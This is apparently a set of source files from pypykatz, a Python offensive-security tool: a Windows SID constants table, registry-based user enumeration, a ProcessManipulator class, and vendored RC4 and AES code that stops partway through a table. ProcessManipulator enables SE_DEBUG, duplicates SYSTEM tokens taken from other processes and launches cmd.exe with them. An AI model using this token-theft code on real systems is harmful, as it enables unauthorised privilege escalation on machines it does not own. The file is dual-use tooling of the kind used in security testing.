105 'NETWORK_SERVICE' : SID.from_string('S-1-5-20', True),
106 'ENTERPRISE_READONLY_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21-<root domain>-498', True),
107 'COMPOUNDED_AUTHENTICATION' : SID.from_string('S-1-5-21-0-0-0-496', True),
108 'CLAIMS_VALID' : SID.from_string('S-1-5-21-0-0-0-497', True),
109 'ADMINISTRATOR' : SID.from_string('S-1-5-21-<machine>-500', True),
110 'GUEST' : SID.from_string('S-1-5-21-<machine>-501', True),
111 'KRBTG' : SID.from_string('S-1-5-21-<domain>-502', True),
112 'DOMAIN_ADMINS' : SID.from_string('S-1-5-21-<domain>-512', True),
113 'DOMAIN_USERS' : SID.from_string('S-1-5-21-<domain>-513', True),
114 'DOMAIN_GUESTS' : SID.from_string('S-1-5-21-<domain>-514', True),
115 'DOMAIN_COMPUTERS' : SID.from_string('S-1-5-21-<domain>-515', True),
116 'DOMAIN_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21-<domain>-516', True),
117 'CERT_PUBLISHERS' : SID.from_string('S-1-5-21-<domain>-517', True),
118 'SCHEMA_ADMINISTRATORS' : SID.from_string('S-1-5-21-<root-domain>-518', True),
119 'ENTERPRISE_ADMINS' : SID.from_string('S-1-5-21-<root-domain>-519', True),
120 'GROUP_POLICY_CREATOR_OWNERS' : SID.from_string('S-1-5-21-<domain>-520', True),
121 'READONLY_DOMAIN_CONTROLLERS' : SID.from_string('S-1-5-21-<domain>-521', True),
122 'CLONEABLE_CONTROLLERS' : SID.from_string('S-1-5-21-<domain>-522', True),
123 'PROTECTED_USERS' : SID.from_string('S-1-5-21-<domain>-525', True),
124 'KEY_ADMINS' : SID.from_string('S-1-5-21-<domain>-526', True),
125 'ENTERPRISE_KEY_ADMINS' : SID.from_string('S-1-5-21-<domain>-527', True),
126 'RAS_SERVERS' : SID.from_string('S-1-5-21-<domain>-553', True),
127 'ALLOWED_RODC_PASSWORD_REPLICATION_GROUP' : SID.from_string('S-1-5-21-<domain>-571', True),
128 'DENIED_RODC_PASSWORD_REPLICATION_GROUP' : SID.from_string('S-1-5-21-<domain>-572', True),
129 'BUILTIN_ADMINISTRATORS' : SID.from_string('S-1-5-32-544', True),
130 'BUILTIN_USERS' : SID.from_string('S-1-5-32-545', True),
131 'BUILTIN_GUESTS' : SID.from_string('S-1-5-32-546', True),
132 'POWER_USERS' : SID.from_string('S-1-5-32-547', True),
133 'ACCOUNT_OPERATORS' : SID.from_string('S-1-5-32-548', True),
134 'SERVER_OPERATORS' : SID.from_string('S-1-5-32-549', True),
135 'PRINTER_OPERATORS' : SID.from_string('S-1-5-32-550', True),
136 'BACKUP_OPERATORS' : SID.from_string('S-1-5-32-551', True),
137 'REPLICATOR' : SID.from_string('S-1-5-32-552', True),
138 'ALIAS_PREW2KCOMPACC' : SID.from_string('S-1-5-32-554', True),
139 'REMOTE_DESKTOP' : SID.from_string('S-1-5-32-555', True),
140 'NETWORK_CONFIGURATION_OPS' : SID.from_string('S-1-5-32-556', True),
141 'INCOMING_FOREST_TRUST_BUILDERS' : SID.from_string('S-1-5-32-557', True),
142 'PERFMON_USERS' : SID.from_string('S-1-5-32-558', True),
143 'PERFLOG_USERS' : SID.from_string('S-1-5-32-559', True),
144 'WINDOWS_AUTHORIZATION_ACCESS_GROUP' : SID.from_string('S-1-5-32-560', True),
145 'TERMINAL_SERVER_LICENSE_SERVERS' : SID.from_string('S-1-5-32-561', True),
146 'DISTRIBUTED_COM_USERS' : SID.from_string('S-1-5-32-562', True),
147 'IIS_IUSRS' : SID.from_string('S-1-5-32-568', True),
148 'CRYPTOGRAPHIC_OPERATORS' : SID.from_string('S-1-5-32-569', True),
149 'EVENT_LOG_READERS' : SID.from_string('S-1-5-32-573', True),
150 'CERTIFICATE_SERVICE_DCOM_ACCESS' : SID.from_string('S-1-5-32-574', True),
151 'RDS_REMOTE_ACCESS_SERVERS' : SID.from_string('S-1-5-32-575', True),
152 'RDS_ENDPOINT_SERVERS' : SID.from_string('S-1-5-32-576', True),
153 'RDS_MANAGEMENT_SERVERS' : SID.from_string('S-1-5-32-577', True),
154 'HYPER_V_ADMINS' : SID.from_string('S-1-5-32-578', True),
155 'ACCESS_CONTROL_ASSISTANCE_OPS' : SID.from_string('S-1-5-32-579', True),
156 'REMOTE_MANAGEMENT_USERS' : SID.from_string('S-1-5-32-580', True),
157 'WRITE_RESTRICTED_CODE' : SID.from_string('S-1-5-33', True),
158 'NTLM_AUTHENTICATION' : SID.from_string('S-1-5-64-10', True),
159 'SCHANNEL_AUTHENTICATION' : SID.from_string('S-1-5-64-14', True),
160 'DIGEST_AUTHENTICATION' : SID.from_string('S-1-5-64-21', True),
161 'THIS_ORGANIZATION_CERTIFICATE' : SID.from_string('S-1-5-65-1', True),
162 'NT_SERVICE' : SID.from_string('S-1-5-80', True),
163 'USER_MODE_DRIVERS' : SID.from_string('S-1-5-84-0-0-0-0-0', True),
164 'LOCAL_ACCOUNT' : SID.from_string('S-1-5-113', True),
165 'LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP' : SID.from_string('S-1-5-114', True),
166 'OTHER_ORGANIZATION' : SID.from_string('S-1-5-1000', True),
167 'ALL_APP_PACKAGES' : SID.from_string('S-1-15-2-1', True),
168 'ML_UNTRUSTED' : SID.from_string('S-1-16-0', True),
169 'ML_LOW' : SID.from_string('S-1-16-4096', True),
170 'ML_MEDIUM' : SID.from_string('S-1-16-8192', True),
171 'ML_MEDIUM_PLUS' : SID.from_string('S-1-16-8448', True),
172 'ML_HIGH' : SID.from_string('S-1-16-12288', True),
173 'ML_SYSTEM' : SID.from_string('S-1-16-16384', True),
174 'ML_PROTECTED_PROCESS' : SID.from_string('S-1-16-20480', True),
175 'ML_SECURE_PROCESS' : SID.from_string('S-1-16-28672', True),
176 'AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY' : SID.from_string('S-1-18-1', True),
177 'SERVICE_ASSERTED_IDENTITY' : SID.from_string('S-1-18-2', True),
178 'FRESH_PUBLIC_KEY_IDENTITY' : SID.from_string('S-1-18-3', True),
179 'KEY_TRUST_IDENTITY' : SID.from_string('S-1-18-4', True),
180 'KEY_PROPERTY_MFA' : SID.from_string('S-1-18-5', True),
181 'KEY_PROPERTY_ATTESTATION' : SID.from_string('S-1-18-6', True),
182 }
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import platform
6 from pypykatz import logger
7 import winreg
8
9 from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI
10 from pypykatz.commons.winapi.constants import *
11 from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive
12
13 class User:
14 def __init__(self, name, domain, sid):
15 self.username = name
16 self.domain = domain
17 self.sid = sid
18
19 def __str__(self):
20 return '%s:%s:%s' % (str(self.domain), str(self.username), str(self.sid))
21
22 class LiveMachine:
23 """
24
25 """
26 def __init__(self, api = None):
27 self.api = api if api is not None else LocalWindowsAPI()
28 self.domain = None
29 self.hostname = None
30
31 def get_hostname(self):
32 if self.hostname is None:
33 params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters')
34 self.hostname = winreg.QueryValueEx(params, 'NV Hostname')[0]
35 return self.hostname
36
37 def get_domain(self):
38 if self.domain is None:
39 params = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters')
40 self.domain = winreg.QueryValueEx(params, 'Domain')[0]
41 return self.domain
42
43 def get_current_user(self):
44 pid = self.api.kernel32.GetCurrentProcessId()
45 proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
46 token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS)
47 ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle)
48 sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid)
49 name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
50 return User(name, domain, sid_str)
51
52 def list_users(self):
53 logger.debug('Listing SIDs from registry...')
54 software_hive = LiveRegistryHive('SOFTWARE')
55 users = {}
56 for sid_str in software_hive.enum_key('Microsoft\\Windows NT\\CurrentVersion\\ProfileList'):
57 if sid_str.endswith('_Classes') or sid_str.startswith('.'):
58 continue
59 ptr_sid = self.api.advapi32.ConvertStringSidToSid(sid_str.encode())
60 name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
61 users[sid_str] = User(name, domain, sid_str)
62 return users
63
64 if __name__ == '__main__':
65 u = LiveMachine()
66 t = u.list_users()
67 for sid in t:
68 print(str(t[sid]))
69 t = u.get_current_user()
70 print(str(t))
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import platform
6 from pypykatz import logger
7
8 from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI
9 from pypykatz.commons.winapi.constants import *
10
11 class TokenInfo:
12 def __init__(self, pid, domain, username, sid, token_type):
13 self.pid = pid
14 self.domain = domain
15 self.username = username
16 self.sid = sid
17 self.token_type = token_type
18
19 def __str__(self):
20 return '%s:%s:%s:%s:%s' % (self.pid,self.domain,self.username,self.sid,self.token_type)
21
22 class ProcessManipulator:
23 """
24 High level class to adjust privileges and manipulate tokens
25 TODO: Currently only working with the current process, doesn't do remote processes!
26 TODO: ther ways to get system, eg. creating a service that will launch the new app? like p s e x e c
27 """
28 def __init__(self, pid = None, api = None):
29 self.pid = pid
30 self.api = api if api is not None else LocalWindowsAPI()
31
32 def set_privilege(self, privilige_id, thread_or_process = False):
33 """
34 Sets a given privilege
35 """
36 logger.debug('[ProcessManipulator] Setting %s privilege' % privilige_id)
37 return self.api.ntdll.RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = thread_or_process)
38
39 def drop_privilege(self, privilige_id, thread_or_process = False):
40 """
41 Drops the given privilege
42 """
43 logger.debug('[ProcessManipulator] Dropping %s privilege' % privilige_id)
44 self.api.ntdll.RtlAdjustPrivilege(privilige_id, enable = False, thread_or_process = thread_or_process)
45
46 def list_privileges(self):
47 """
48 Lists all available privileges for the current user
49 """
50 pass
51
52
53 def list_all_tokens(self, force = False):
54 """
55 iterates trough all available processes, fetches all process tokens, gets user information for all tokens
56 """
57 logger.debug('[ProcessManipulator] Listing all tokens...')
58 try:
59 res = self.set_privilege(SE_DEBUG)
60 except Exception as e:
61 if force is False:
62 logger.error('Failed to obtain SE_DEBUG privilege!')
63 raise e
64 else:
65 pass
66
67 token_infos = []
68 for pid in self.api.psapi.EnumProcesses():
69 proc_handle = None
70 try:
71 proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
72 logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid))
73 except Exception as e:
74 logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e)))
75 continue
76
77 else:
78 token_handle = None
79 try:
80 token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS)
81 except Exception as e:
82 logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e)))
83 continue
84 else:
85 ti = self.get_token_info(token_handle, pid)
86 token_infos.append(ti)
87
88 finally:
89 if token_handle is not None:
90 self.api.kernel32.CloseHandle(token_handle)
91
92 finally:
93 if proc_handle is not None:
94 self.api.kernel32.CloseHandle(proc_handle)
95
96 return token_infos
97
98 def get_current_token_info(self):
99 proc_handle = None
100 try:
101 pid = self.api.kernel32.GetCurrentProcessId()
102 proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
103 except Exception as e:
104 raise e
105 else:
106 try:
107 token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS)
108 return self.get_token_info(token_handle, pid)
109 except Exception as e:
110 raise e
111 finally:
112 if token_handle is not None:
113 self.api.kernel32.CloseHandle(token_handle)
114 finally:
115 if proc_handle is not None:
116 self.api.kernel32.CloseHandle(proc_handle)
117
118 def get_token_info(self, token_handle, pid):
119 ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle)
120 sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid)
121 name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
122 return TokenInfo(pid, domain, name, sid_str, token_type)
123
124 def get_token_for_sid(self, target_sid = 'S-1-5-18', dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = SecurityImpersonation):
125 """
126 iterates trough all available processes, fetches all process tokens, checks if sid matches for token, duplicates it and yields them
127 also leaks a lot of handles, probably should be cleaned up TODO
128 """
129 #LookupAccountSidA
130 try:
131 self.set_privilege(SE_DEBUG)
132 except Exception as e:
133 logger.error('Failed to obtain SE_DEBUG privilege!')
134 raise e
135
136 token_infos = []
137 for pid in self.api.psapi.EnumProcesses():
138 proc_handle = None
139 try:
140 proc_handle = self.api.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
141 logger.log(1, '[ProcessManipulator] Proc handle for PID %s is: %s' % (proc_handle, pid))
142 except Exception as e:
143 logger.log(1, '[ProcessManipulator] Failed to open process pid %s Reason: %s' % (pid, str(e)))
144 continue
145
146 else:
147 token_handle = None
148 try:
149 token_handle = self.api.advapi32.OpenProcessToken(proc_handle, TOKEN_MANIP_ACCESS)
150 except Exception as e:
151 logger.log(1, '[ProcessManipulator] Failed get token from process pid %s Reason: %s' % (pid, str(e)))
152 continue
153 else:
154 ptr_sid = self.api.advapi32.GetTokenInformation_sid(token_handle)
155 sid_str = self.api.advapi32.ConvertSidToStringSid(ptr_sid)
156 if sid_str == target_sid:
157 logger.debug('[ProcessManipulator] Found token with target sid!')
158 cloned_token = self.api.advapi32.DuplicateTokenEx(
159 token_handle,
160 dwDesiredAccess = dwDesiredAccess,
161 ImpersonationLevel = ImpersonationLevel,
162 TokenType = TokenType
163 )
164 yield cloned_token
165
166 finally:
167 if token_handle is not None:
168 self.api.kernel32.CloseHandle(token_handle)
169
170 finally:
171 if proc_handle is not None:
172 self.api.kernel32.CloseHandle(proc_handle)
173
174 return token_infos
175
176 def assign_token_thread_sid(self, target_sid = 'S-1-5-18'):
177 """
178 assigns the token to the thread specified by threadid, if threadid is none then it will use the current thread
179 """
180 for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_QUERY | TOKEN_IMPERSONATE, ImpersonationLevel = SecurityDelegation, TokenType = TokenImpersonation):
181 logger.debug('[ProcessManipulator] Setting token to current thread...')
182 try:
183 self.api.advapi32.SetThreadToken(token)
184 except Exception as e:
185 logger.log(1, 'Failed changing the thread token. Reason: %s' % e)
186 continue
187 else:
188 logger.debug('[ProcessManipulator] Sucsessfully set token to current thread!')
189 break
190
191 def create_process_for_sid(self, target_sid = 'S-1-5-18', cmdline = 'C:\\Windows\\system32\\cmd.exe', interactive = True):
192 """
193 Creates a new process with the token of the target SID
194 TODO: implement non-interactive functionality :(
195 """
196 for token in self.get_token_for_sid(target_sid = target_sid, dwDesiredAccess = TOKEN_ALL_ACCESS, ImpersonationLevel = SecurityImpersonation, TokenType = TokenImpersonation):
197 try:
198 self.api.advapi32.CreateProcessWithToken_manip(token, cmdline)
199 except Exception as e:
200 logger.log(1, 'Failed creating process with the token obtained. Reason: %s' % e)
201 continue
202 else:
203 logger.debug('[ProcessManipulator] Sucsessfully created process!')
204 break
205
206 if __name__ == '__main__':
207 pm = ProcessManipulator()
208 #pm.set_privilege(10)
209 #for ti in pm.list_all_tokens():
210 # print(str(ti))
211
212 #pm.create_process_for_sid()
213 #pm.assign_token_thread_sid()
214 ti = pm.get_current_token_info()
215 print(str(ti))
216
217
0 #!/usr/bin/env python
1
2
3 """
4 https://raw.githubusercontent.com/bozhu/RC4-Python/master/rc4.py
5
6 Copyright (C) 2012 Bo Zhu http://about.bozhu.me
7
8 Permission is hereby granted, free of charge, to any person obtaining a
9 copy of this software and associated documentation files (the "Software"),
10 to deal in the Software without restriction, including without limitation
11 the rights to use, copy, modify, merge, publish, distribute, sublicense,
12 and/or sell copies of the Software, and to permit persons to whom the
13 Software is furnished to do so, subject to the following conditions:
14
15 The above copyright notice and this permission notice shall be included in
16 all copies or substantial portions of the Software.
17
18 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
21 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
23 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
24 DEALINGS IN THE SOFTWARE.
25 """
26 class RC4:
27 def __init__(self, key):
28 self.key = key
29 self.S = self.KSA()
30 self.keystream = self.PRGA()
31
32 def KSA(self):
33 keylength = len(self.key)
34
35 S = list(range(256))
36
37 j = 0
38 for i in range(256):
39 j = (j + S[i] + self.key[i % keylength]) % 256
40 S[i], S[j] = S[j], S[i] # swap
41
42 return S
43
44 def PRGA(self):
45 i = 0
46 j = 0
47 while True:
48 i = (i + 1) % 256
49 j = (j + self.S[i]) % 256
50 self.S[i], self.S[j] = self.S[j], self.S[i] # swap
51
52 K = self.S[(self.S[i] + self.S[j]) % 256]
53 yield K
54
55
56 def encrypt(self, data):
57 res = b''
58 for b in data:
59 res += (b ^ next(self.keystream)).to_bytes(1, byteorder = 'big', signed = False)
60 return res
61
62 def decrypt(self, data):
63 return self.encrypt(data)
(New empty file)
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24 # This is a pure-Python implementation of the AES algorithm and AES common
25 # modes of operation.
26
27 # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
28
29 # Honestly, the best description of the modes of operations are the wonderful
30 # diagrams on Wikipedia. They explain in moments what my words could never
31 # achieve. Hence the inline documentation here is sparer than I'd prefer.
32 # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
33
34 # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
35 # https://www.dlitz.net/software/pycrypto/
36
37
38 # Supported key sizes:
39 # 128-bit
40 # 192-bit
41 # 256-bit
42
43
44 # Supported modes of operation:
45 # ECB - Electronic Codebook
46 # CBC - Cipher-Block Chaining
47 # CFB - Cipher Feedback
48 # OFB - Output Feedback
49 # CTR - Counter
50
51
52 # See the README.md for API details and general information.
53
54
55 import copy
56 import struct
57
58 __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
59 "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
60
61
62 def _compact_word(word):
63 return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
64
65 def _string_to_bytes(text):
66 return list(ord(c) for c in text)
67
68 def _bytes_to_string(binary):
69 return "".join(chr(b) for b in binary)
70
71 def _concat_list(a, b):
72 return a + b
73
74
75 # Python 3 compatibility
76 try:
77 xrange
78 except Exception:
79 xrange = range
80
81 # Python 3 supports bytes, which is already an array of integers
82 def _string_to_bytes(text):
83 if isinstance(text, bytes):
84 return text
85 return [ord(c) for c in text]
86
87 # In Python 3, we return bytes
88 def _bytes_to_string(binary):
89 return bytes(binary)
90
91 # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
92 def _concat_list(a, b):
93 return a + bytes(b)
94
95
96 # Based *largely* on the Rijndael implementation
97 # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
98 class AES(object):
99 '''Encapsulates the AES block cipher.
100
101 You generally should not need this. Use the AESModeOfOperation classes
102 below instead.'''
103
104 # Number of rounds by keysize
105 number_of_rounds = {16: 10, 24: 12, 32: 14}
106
107 # Round constant words
108 rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
109
110 # S-box and Inverse S-box (S is for Substitution)
111 S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
112 Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
113
114 # Transformations for encryption
115 T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 